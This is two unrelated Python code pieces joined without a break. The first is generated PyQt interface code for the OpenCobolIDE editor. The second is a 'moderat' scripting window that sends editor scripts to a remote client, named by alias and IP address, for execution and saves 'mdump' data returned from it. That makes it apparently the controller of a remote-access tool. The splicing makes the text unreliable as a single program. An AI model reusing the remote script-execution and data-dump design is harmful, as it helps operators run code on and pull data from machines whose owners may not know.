sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btFSLock.sizePolicy().hasHeightForWidth()) self.btFSLock.setSizePolicy(sizePolicy) self.btFSLock.setText("") icon = QtGui.QIcon.fromTheme("system-lock-screen") self.btFSLock.setIcon(icon) self.btFSLock.setIconSize(QtCore.QSize(16, 16)) self.btFSLock.setCheckable(True) self.btFSLock.setChecked(False) self.btFSLock.setFlat(True) self.btFSLock.setObjectName("btFSLock") self.horizontalLayout_2.addWidget(self.btFSLock) self.verticalLayout.addLayout(self.horizontalLayout_2) self.tvFileSystem = FileSystemTreeView(self.dockWidgetContents_4) self.tvFileSystem.setObjectName("tvFileSystem") self.verticalLayout.addWidget(self.tvFileSystem) self.dockWidgetFileSystem.setWidget(self.dockWidgetContents_4) MainWindow.addDockWidget(QtCore.Qt.DockWidgetArea(2), self.dockWidgetFileSystem) self.actionQuit = QtWidgets.QAction(MainWindow) self.actionQuit.setIconVisibleInMenu(True) self.actionQuit.setObjectName("actionQuit") self.actionRun = QtWidgets.QAction(MainWindow) self.actionRun.setIconVisibleInMenu(True) self.actionRun.setObjectName("actionRun") self.actionAbout = QtWidgets.QAction(MainWindow) self.actionAbout.setIconVisibleInMenu(True) self.actionAbout.setObjectName("actionAbout") self.actionSave = QtWidgets.QAction(MainWindow) self.actionSave.setIconVisibleInMenu(True) self.actionSave.setObjectName("actionSave") self.actionSaveAs = QtWidgets.QAction(MainWindow) self.actionSaveAs.setIconVisibleInMenu(True) self.actionSaveAs.setObjectName("actionSaveAs") self.actionFullscreen = QtWidgets.QAction(MainWindow) self.actionFullscreen.setCheckable(True) self.actionFullscreen.setIconVisibleInMenu(True) self.actionFullscreen.setObjectName("actionFullscreen") self.actionNew = QtWidgets.QAction(MainWindow) self.actionNew.setIconVisibleInMenu(True) self.actionNew.setObjectName("actionNew") self.actionOpen = QtWidgets.QAction(MainWindow) self.actionOpen.setIconVisibleInMenu(True) self.actionOpen.setObjectName("actionOpen") self.actionClear = QtWidgets.QAction(MainWindow) self.actionClear.setIconVisibleInMenu(True) self.actionClear.setObjectName("actionClear") self.actionPreferences = QtWidgets.QAction(MainWindow) self.actionPreferences.setIconVisibleInMenu(True) self.actionPreferences.setObjectName("actionPreferences") self.actionHelp = QtWidgets.QAction(MainWindow) self.actionHelp.setIconVisibleInMenu(True) self.actionHelp.setObjectName("actionHelp") self.actionProgram = QtWidgets.QAction(MainWindow) self.actionProgram.setCheckable(True) self.actionProgram.setChecked(True) self.actionProgram.setObjectName("actionProgram") self.actionSubprogram = QtWidgets.QAction(MainWindow) self.actionSubprogram.setCheckable(True) self.actionSubprogram.setObjectName("actionSubprogram") self.actionCompile = QtWidgets.QAction(MainWindow) self.actionCompile.setIconVisibleInMenu(True) self.actionCompile.setObjectName("actionCompile") self.actionCancel = QtWidgets.QAction(MainWindow) self.actionCancel.setObjectName("actionCancel") self.actionReport_a_bug = QtWidgets.QAction(MainWindow) icon = QtGui.QIcon.fromTheme("tools-report-bug") self.actionReport_a_bug.setIcon(icon) self.actionReport_a_bug.setObjectName("actionReport_a_bug") self.actionRestore_factory_defaults = QtWidgets.QAction(MainWindow) self.actionRestore_factory_defaults.setObjectName("actionRestore_factory_defaults") self.dockWidgetNavPanel.raise_() self.toolBarFile.addAction(self.actionNew) self.toolBarFile.addAction(self.actionOpen) self.toolBarFile.addSeparator() self.toolBarFile.addAction(self.actionSave) self.toolBarFile.addAction(self.actionSaveAs) self.toolBarCode.addAction(self.actionRun) self.menuFile.addAction(self.actionNew) self.menuFile.addAction(self.actionOpen) self.menuFile.addSeparator() self.menuFile.addAction(self.actionSave) self.menuFile.addAction(self.actionSaveAs) self.menuFile.addSeparator() self.menuFile.addAction(self.actionQuit) self.mnuActiveEditor.addSeparator() self.menuEdit.addAction(self.mnuActiveEditor.menuAction()) self.menuEdit.addSeparator() self.menuEdit.addAction(self.actionPreferences) self.menuView.addAction(self.menuWindows.menuAction()) self.menuView.addSeparator() self.menuView.addAction(self.actionFullscreen) self.menuProgramType.addAction(self.actionProgram) self.menuProgramType.addAction(self.actionSubprogram) self.menuCobol.addAction(self.menuProgramType.menuAction()) self.menuCobol.addSeparator() self.menuCobol.addAction(self.actionCompile) self.menuCobol.addAction(self.actionRun) self.menuCobol.addSeparator() self.menuCobol.addAction(self.actionCancel) self.menu.addAction(self.actionHelp) self.menu.addAction(self.actionAbout) self.menu.addSeparator() self.menu.addAction(self.actionReport_a_bug) self.menu.addSeparator() self.menu.addAction(self.actionRestore_factory_defaults) self.menuBar.addAction(self.menuFile.menuAction()) self.menuBar.addAction(self.menuEdit.menuAction()) self.menuBar.addAction(self.menuView.menuAction()) self.menuBar.addAction(self.menuCobol.menuAction()) self.menuBar.addAction(self.menu.menuAction()) self.retranslateUi(MainWindow) self.stackedWidget.setCurrentIndex(0) self.tabWidgetLogs.setCurrentIndex(0) QtCore.QMetaObject.connectSlotsByName(MainWindow) def retranslateUi(self, MainWindow): _translate = QtCore.QCoreApplication.translate MainWindow.setWindowTitle(_translate("MainWindow", "OpenCobolIDE")) self.label_3.setText(_translate("MainWindow", "<html><head/><body><p align=\"center\"><img src=\":/ide-icons/rc/silex-192x192.png\"/></p><p align=\"center\"><span style=\" font-size:20pt;\">Welcome to OpenCobolIDE</span></p><p align=\"center\">Click on <span style=\" font-weight:600; font-style:italic;\">New </span>or <span style=\" font-weight:600; font-style:italic;\">Open </span>to get started!</p></body></html>")) self.btNewFile.setToolTip(_translate("MainWindow", "Create a new file")) self.btNewFile.setStatusTip(_translate("MainWindow", "Create a new file")) self.btNewFile.setText(_translate("MainWindow", "New")) self.btOpenFile.setText(_translate("MainWindow", "Open")) self.labelRecents.setText(_translate("MainWindow", "<html><head/><body><p align=\"center\"><span style=\" font-weight:600; font-style:italic;\">Recent files</span></p></body></html>")) self.listWidgetRecents.setToolTip(_translate("MainWindow", "Recent files")) self.listWidgetRecents.setStatusTip(_translate("MainWindow", "Recent files")) self.toolBarFile.setWindowTitle(_translate("MainWindow", "Toolbar File")) self.toolBarCode.setWindowTitle(_translate("MainWindow", "Toolbar Code")) self.dockWidgetLogs.setWindowTitle(_translate("MainWindow", "Logs")) self.tabWidgetLogs.setTabText(self.tabWidgetLogs.indexOf(self.tabCompiler), _translate("MainWindow", "Compiler")) self.errorsTable.setStatusTip(_translate("MainWindow", "The list of errors found in your program")) self.tabWidgetLogs.setTabText(self.tabWidgetLogs.indexOf(self.tabCompiler1), _translate("MainWindow", "Issues")) self.tabWidgetLogs.setTabToolTip(self.tabWidgetLogs.indexOf(self.tabCompiler1), _translate("MainWindow", "Show compiler log")) self.consoleOutput.setToolTip(_translate("MainWindow", "Program output")) self.consoleOutput.setStatusTip(_translate("MainWindow", "Program output")) self.tabWidgetLogs.setTabText(self.tabWidgetLogs.indexOf(self.tabProgramOutput), _translate("MainWindow", "Output")) self.menuFile.setTitle(_translate("MainWindow", "&File")) self.menuEdit.setTitle(_translate("MainWindow", "&Edit")) self.mnuActiveEditor.setToolTip(_translate("MainWindow", "Active editor context menu")) self.mnuActiveEditor.setStatusTip(_translate("MainWindow", "Active editor context menu")) self.mnuActiveEditor.setTitle(_translate("MainWindow", "&Active editor")) self.menuView.setTitle(_translate("MainWindow", "&View")) self.menuWindows.setTitle(_translate("MainWindow", "&Windows")) self.menuCobol.setTitle(_translate("MainWindow", "&COBOL")) self.menuProgramType.setTitle(_translate("MainWindow", "&Program type")) self.menu.setTitle(_translate("MainWindow", "&?")) self.dockWidgetNavPanel.setWindowTitle(_translate("MainWindow", "Navigation")) self.twNavigation.setToolTip(_translate("MainWindow", "Show the current editor structure")) self.twNavigation.setStatusTip(_translate("MainWindow", "Show the current editor structure")) self.dockWidgetOffsets.setWindowTitle(_translate("MainWindow", "Offset calculator")) self.tableWidgetOffsets.setToolTip(_translate("MainWindow", "Show PIC fields offsets")) self.tableWidgetOffsets.setStatusTip(_translate("MainWindow", "Show PIC fields offsets")) self.tableWidgetOffsets.setSortingEnabled(True) item = self.tableWidgetOffsets.horizontalHeaderItem(0) item.setText(_translate("MainWindow", "Level")) item = self.tableWidgetOffsets.horizontalHeaderItem(1) item.setText(_translate("MainWindow", "Name")) item = self.tableWidgetOffsets.horizontalHeaderItem(2) item.setText(_translate("MainWindow", "Offset")) item = self.tableWidgetOffsets.horizontalHeaderItem(3) item.setText(_translate("MainWindow", "PIC")) self.dockWidgetFileSystem.setWindowTitle(_translate("MainWindow", "File system")) self.btFSLock.setToolTip(_translate("MainWindow", "<html><head/><body><p><span style=\" font-weight:600;\">Lock</span> current file path to prevent the view from changing when the current editor changes.</p></body></html>")) self.actionQuit.setText(_translate("MainWindow", "&Quit")) self.actionQuit.setToolTip(_translate("MainWindow", "Exit application")) self.actionQuit.setStatusTip(_translate("MainWindow", "Exit application")) self.actionQuit.setShortcut(_translate("MainWindow", "Ctrl+Q")) self.actionRun.setText(_translate("MainWindow", "&Run")) self.actionRun.setToolTip(_translate("MainWindow", "Run the current editor program")) self.actionRun.setStatusTip(_translate("MainWindow", "Run the current editor program")) self.actionRun.setShortcut(_translate("MainWindow", "F5")) self.actionAbout.setText(_translate("MainWindow", "&About OpenCobolIDE")) self.actionAbout.setToolTip(_translate("MainWindow", "About OpenCobolIDE")) self.actionAbout.setStatusTip(_translate("MainWindow", "About OpenCobolIDE")) self.actionSave.setText(_translate("MainWindow", "&Save")) self.actionSave.setToolTip(_translate("MainWindow", "Save the current editor")) self.actionSave.setStatusTip(_translate("MainWindow", "Save the current editor")) self.actionSave.setShortcut(_translate("MainWindow", "Ctrl+S")) self.actionSaveAs.setText(_translate("MainWindow", "Sa&ve as")) self.actionSaveAs.setToolTip(_translate("MainWindow", "Save the current editor as")) self.actionSaveAs.setStatusTip(_translate("MainWindow", "Save the current editor as")) self.actionSaveAs.setShortcut(_translate("MainWindow", "Ctrl+Shift+S")) self.actionFullscreen.setText(_translate("MainWindow", "&Fullscreen")) self.actionFullscreen.setToolTip(_translate("MainWindow", "Toggle fullscreen")) self.actionFullscreen.setStatusTip(_translate("MainWindow", "Toggle fullscreen")) self.actionFullscreen.setShortcut(_translate("MainWindow", "F11")) self.actionNew.setText(_translate("MainWindow", "&New")) self.actionNew.setToolTip(_translate("MainWindow", "New file")) self.actionNew.setStatusTip(_translate("MainWindow", "Create a new file")) self.actionNew.setShortcut(_translate("MainWindow", "Ctrl+N")) self.actionOpen.setText(_translate("MainWindow", "&Open")) self.actionOpen.setToolTip(_translate("MainWindow", "Open a file")) self.actionOpen.setStatusTip(_translate("MainWindow", "Open a file")) self.actionOpen.setShortcut(_translate("MainWindow", "Ctrl+O")) self.actionClear.setText(_translate("MainWindow", "Clear list")) self.actionClear.setToolTip(_translate("MainWindow", "Clear list of recent files")) self.actionPreferences.setText(_translate("MainWindow", "&Preferences")) self.actionPreferences.setToolTip(_translate("MainWindow", "Edit the application settings")) self.actionPreferences.setStatusTip(_translate("MainWindow", "Edit the application settings")) self.actionHelp.setText(_translate("MainWindow", "&Help")) self.actionHelp.setToolTip(_translate("MainWindow", "Show help content")) self.actionHelp.setStatusTip(_translate("MainWindow", "Show help content")) self.actionHelp.setShortcut(_translate("MainWindow", "F1")) self.actionProgram.setText(_translate("MainWindow", "&Executable")) self.actionProgram.setToolTip(_translate("MainWindow", "Make an executable program (*.exe)")) self.actionProgram.setStatusTip(_translate("MainWindow", "Make an executable program (*.exe)")) self.actionSubprogram.setText(_translate("MainWindow", "&Module")) self.actionSubprogram.setToolTip(_translate("MainWindow", "Make a module program (*.dll)")) self.actionSubprogram.setStatusTip(_translate("MainWindow", "Make a module program (*.dll)")) self.actionCompile.setText(_translate("MainWindow", "&Compile")) self.actionCompile.setToolTip(_translate("MainWindow", "Compile the current editor")) self.actionCompile.setStatusTip(_translate("MainWindow", "Compile the current editor")) self.actionCompile.setShortcut(_translate("MainWindow", "F8")) self.actionCancel.setText(_translate("MainWindow", "Ca&ncel")) self.actionCancel.setToolTip(_translate("MainWindow", "Cancel the current operation (compile or run)")) self.actionCancel.setStatusTip(_translate("MainWindow", "Cancel the current operation (compile or run)")) self.actionReport_a_bug.setText(_translate("MainWindow", "&Report a bug")) self.actionRestore_factory_defaults.setText(_translate("MainWindow", "Restore factory defaults"))
class mainPopup(QMainWindow, main_ui.Ui_Form): def __init__(self, args): QMainWindow.__init__(self) self.setupUi(self) self.moderat = args['moderat'] self.client = args['client'] self.module_id = args['module_id'] self.alias = args['alias'] self.ip_address = args['ip_address'] self.p2p = args['p2p'] title_prefix = self.alias if len(self.alias) > 0 else self.ip_address self.setWindowTitle(u'[{}] {}'.format( title_prefix, self.moderat.MString('MSCRIPTING_TITLE'))) # init idle self.editor = api.CodeEdit() #self.editor.setStyleSheet('border: 0px; padding: 0px; background: #34495e;') # start the backend as soon as possible self.editor.backend.start(server.__file__) # append some modes and panels self.editor.modes.append(modes.CodeCompletionMode()) self.editor.modes.append(modes.AutoIndentMode()) self.editor.modes.append(modes.AutoCompleteMode()) self.editor.modes.append(modes.IndenterMode()) self.editor.modes.append(modes.ExtendedSelectionMode()) self.editor.modes.append(modes.SymbolMatcherMode()) self.editor.modes.append(modes.ZoomMode()) self.editor.modes.append(modes.LineHighlighterMode()) self.editor.modes.append( modes.PygmentsSyntaxHighlighter(self.editor.document())) sh = self.editor.modes.append(modes.PygmentsSH(self.editor.document())) sh.fold_detector = api.IndentFoldDetector() self.editor.modes.get( modes.PygmentsSyntaxHighlighter).pygments_style = 'monokai' self.editor.panels.append(panels.SearchAndReplacePanel(), api.Panel.Position.BOTTOM) self.editor.panels.append(panels.CheckerPanel()) self.editor.panels.append(panels.LineNumberPanel()) self.editor.panels.append(panels.MarkerPanel()) self.editor.panels.append(panels.EncodingPanel()) self.editor.panels.append(panels.FoldingPanel()) self.editor.panels.append(panels.ReadOnlyPanel()) self.output = Output(self.editor, self.moderat) self.splitter = QSplitter() self.splitter.setOrientation(Qt.Vertical) self.splitter.addWidget(self.editor) self.splitter.addWidget(self.output) self.setCentralWidget(self.splitter) # self.runButton.clicked.connect(self.run_script) # self.testButton.clicked.connect(self.run_test) # self.openButton.clicked.connect(self.from_file) # self.pluginsListButton.clicked.connect(self.open_list) # self.addPluginButton.clicked.connect(self.insert_plugin) # self.saveButton.clicked.connect(self.save_plugin) # self.pluginSearchLine.returnPressed.connect(self.insert_plugin) # self.clearButton.clicked.connect(self.clear_script) # self.pinButton.clicked.connect(self.always_top) # Autocompleter self.completer = QCompleter(self.moderat.plugins.keys()) self.completer.setCompletionMode(QCompleter.PopupCompletion) self.completer.setCaseSensitivity(Qt.CaseInsensitive) self.completer.popup().setStyleSheet('''background-color: #273747; color: #c9f5f7; border: 1px solid #243342; border-top: none;''') self.addTools() def addTools(self): self.toolBox = QToolBar(self) self.toolBox.setIconSize(QSize(16, 16)) self.openListAction = QAction(self) self.openListAction.setObjectName('openList') self.openListAction.triggered.connect(self.open_list) self.fromFileAction = QAction(self) self.fromFileAction.setObjectName('fromFile') self.fromFileAction.triggered.connect(self.from_file) self.saveScriptAction = QAction(self) self.saveScriptAction.setObjectName('saveScript') self.saveScriptAction.triggered.connect(self.save_script) self.searchScriptLine = QLineEdit() self.searchScriptLine.setPlaceholderText( self.moderat.MString('MSCRIPTING_SEARCH_SCRIPT')) self.searchScriptLine.setCompleter(self.completer) self.toolBox.addSeparator() self.toolBox.addAction(self.openListAction) self.toolBox.widgetForAction(self.openListAction).setObjectName( self.openListAction.objectName()) self.toolBox.addSeparator() self.toolBox.addAction(self.fromFileAction) self.toolBox.widgetForAction(self.fromFileAction).setObjectName( self.fromFileAction.objectName()) self.toolBox.addSeparator() self.toolBox.addAction(self.saveScriptAction) spacer = QWidget(self) spacer.setProperty('spacer', '1') spacer.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Minimum) self.toolBox.addWidget(spacer) self.toolBox.widgetForAction(self.saveScriptAction).setObjectName( self.saveScriptAction.objectName()) self.toolBox.addWidget(self.searchScriptLine) self.addToolBar(Qt.TopToolBarArea, self.toolBox) self.actionTools = QToolBar(self) self.actionTools.setIconSize(QSize(16, 16)) self.runScriptAction = QAction(self) self.runScriptAction.setObjectName('runScript') self.runScriptAction.triggered.connect(self.run_script) self.runTestAction = QAction(self) self.runTestAction.setObjectName('runTest') self.runTestAction.triggered.connect(self.run_test) self.actionTools.addSeparator() self.actionTools.addAction(self.runScriptAction) self.actionTools.widgetForAction(self.runScriptAction).setObjectName( self.runScriptAction.objectName()) self.actionTools.addSeparator() self.actionTools.addAction(self.runTestAction) self.actionTools.widgetForAction(self.runTestAction).setObjectName( self.runTestAction.objectName()) self.addToolBar(Qt.TopToolBarArea, self.actionTools) self.insertToolBarBreak(self.actionTools) def signal(self, data): self.callback(data) def run_script(self): script = self.editor.toPlainText() self.moderat.send_message(script, 'scriptingMode', session_id=self.moderat.session_id, _to=self.client, module_id=self.module_id, p2p=self.p2p) self.callback = self.recv_script self.output.addNormalText( u'<br><font color="#e74c3c">{} {}</font>'.format( self.moderat.MString('MSCRIPTING_SCRIPT_RUNNING'), datetime.datetime.now())) def run_test(self): with open('test.py', 'w') as _file: _file.write(self.editor.toPlainText()) self.console = InteractiveConsole() self.console.setWindowTitle( self.moderat.MString('MSCIPTING_PYTHON_CONSOLE')) self.console.setWindowIcon(QIcon(':/icons/assets/logo.png')) self.console.setStyleSheet( 'border: 0px; padding: 0px; background: #ecf0f1;') self.console.start_process(sys.executable, ['test.py']) self.console.closeEvent = self.test_closed self.console.show() def test_closed(self, event): if os.path.exists('test.py'): os.remove('test.py') def recv_script(self, data): output = ast.literal_eval(data['payload']) if output.has_key('mdump'): if len(output['mdump']) > 0: if type(output['mdump']) == dict: _d = output['mdump'] dname = QFileDialog.getExistingDirectory( self, self.moderat.MString('MSCRIPTING_SAVE_DIR')) if dname: result = {} for key in _d.keys(): _path = os.path.join(dname, key) with open(_path, 'w') as _f: _f.write(str(_d[key])) result[key] = { 'time': str(datetime.datetime.now()), 'length': len(str(_d[key])), 'path': _path, } self.output.addDumpFiles(result) else: fname = QFileDialog.getSaveFileName( self, self.moderat.MString('MSCRIPTING_SAVE_FILE'), '', ) if fname: with open(fname, 'w') as _file: _file.write(str(output['mdump'])) self.output.addDumpFiles({ 'file': { 'time': str(datetime.datetime.now()), 'length': len(str(output['mdump'])), 'path': fname, } }) if output.has_key('mprint'): if len(output['mprint']) > 0: self.output.addNormalText(str(output['mprint'])) def insert_plugin(self, plugin_name=None): if not plugin_name: plugin_name = str(self.pluginSearchLine.text()) if self.moderat.plugins.has_key(plugin_name): self.editor.clear() self.editor.insertPlainText( self.moderat.plugins[plugin_name]['source']) else: message.error(self.moderat.MString('MSCRIPTING_NO_PLUGIN'), self.moderat.MString('MSCRIPTING_NO_PLUGIN')) def save_script(self): script_name, ok = QInputDialog.getText( self, self.moderat.MString('MSCRIPTING_PLUGIN_NAME'), self.moderat.MString('MSCRIPTING_PLUGIN_NAME'), QLineEdit.Normal) if ok: script_description, ok = QInputDialog.getText( self, self.moderat.MString('MSCRIPTING_PLUGIN_DESC'), self.moderat.MString('MSCRIPTING_PLUGIN_DESC'), QLineEdit.Normal) if ok: # Check if script_name exists if script_name in self.moderat.plugins.keys(): message.error( self.moderat.MString('MSCRIPTING_PLUGIN_EXISTS'), self.moderat.MString('MSCRIPTING_PLUGIN_EXISTS')) return with open( os.path.join(self.moderat.plugins_dir, str(script_name) + '.py'), 'w') as plugin_file: payload = 'plugin_name = r"""%s"""\n' % script_name payload += 'plugin_description = r"""%s"""\n' % script_description payload += 'plugin_type = r"""remote"""\n' payload += 'plugin_source = r"""%s"""\n' % self.editor.toPlainText( ) plugin_file.write(payload) message.info( self.moderat.MString('MSCRIPTING_PLUGIN_SAVED'), self.moderat.MString('MSCRIPTING_PLUGIN_SAVED')) def open_list(self): self.listPopup = listPopup(self, self.moderat.plugins) self.listPopup.show() def from_file(self): fname = QFileDialog.getOpenFileName( self, self.moderat.MString('MSCRIPTING_OPEN_FILE'), '', self.moderat.MString('MSCRIPTING_PYTHON_FILES') + " (*.py);;" + self.moderat.MString('MSCRIPTING_ALL_FILES') + " (*)") if fname: with open(fname, 'r') as _file: self.editor.clear() self.editor.insertPlainText(_file.read()) def clear_script(self): self.editor.clear() def closeEvent(self, QCloseEvent): self.moderat.send_message(self.module_id, 'terminateProcess', session_id=self.moderat.session_id, _to=self.client, p2p=self.p2p)